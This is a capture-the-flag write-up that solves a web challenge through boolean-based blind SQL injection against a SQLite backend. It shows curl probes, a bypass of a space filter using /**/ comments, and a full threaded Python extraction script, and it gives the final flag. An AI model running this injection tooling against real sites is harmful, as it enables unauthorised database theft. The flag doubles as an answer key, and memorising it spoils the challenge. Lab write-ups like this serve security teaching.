Overview
Access to the internal power plant archives is restricted. We must exploit a boolean-based blind SQL injection vulnerability in an SQLite backend to dump the database schema and find the flag.
Reconnaissance
Fuzzing URL paths revealed a vulnerable endpoint at /profile:
curl -s "https://web2.crack-on.live/profile?id=1" # -> "User exists"
curl -s "https://web2.crack-on.live/profile?id=999" # -> "User not found"Testing for standard SQLi payloads showed spaces were filtered. However, we bypassed the filter using SQL comment notation /**/:
curl -sG "https://web2.crack-on.live/profile" --data-urlencode "id=1/**/AND/**/1=1" # -> "User exists"
curl -sG "https://web2.crack-on.live/profile" --data-urlencode "id=1/**/AND/**/1=2" # -> "User not found"This confirmed a Boolean-based blind SQL injection. Furthermore, using typeof(1)='integer' confirmed that the database engine in use is SQLite.
Exploitation Strategy
To exploit this efficiently, we wrote an automated Python script that utilizes binary search to check the length of strings and ThreadPoolExecutor to extract individual character ASCII values in parallel.
First, we enumerated the database tables. We found a few tables: users, products, flag, system_logs, admin_backup, and system_archive.
Although flag and admin_backup seemed promising, they were empty decoy tables. Probing the columns of system_archive revealed the target column flag:
system_archive schema -> id, notes, flagFinally, we dumped the contents of the flag column from system_archive to retrieve the flag.
Solution Code
import requests
from concurrent.futures import ThreadPoolExecutor
BASE = "https://web2.crack-on.live/profile"
S = requests.Session()
def ask(condition):
r = S.get(BASE, params={"id": f"1/**/AND/**/{condition}"})
return "exists" in r.text
def get_length(query):
lo, hi = 1, 500
while lo < hi:
mid = (lo + hi) // 2
if ask(f"length(({query}))>{mid}"): lo = mid + 1
else: hi = mid
return lo
def extract_char(args):
query, i = args
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
if ask(f"unicode(substr(({query}),{i},1))>{mid}"): lo = mid + 1
else: hi = mid
return i, chr(lo)
def extract(query):
length = get_length(query)
result = ['?'] * length
with ThreadPoolExecutor(max_workers=20) as ex:
for i, char in ex.map(extract_char, [(query, i) for i in range(1, length+1)]):
result[i-1] = char
return ''.join(result)
# Dump the flag from system_archive table
flag = extract("SELECT/**/group_concat(flag)/**/FROM/**/system_archive")
print(f"Flag: {flag}") # CrackOn{Sic_Mundus_Creatus_Est_SQLi_83}Flag
CrackOn{Sic_Mundus_Creatus_Est_SQLi_83}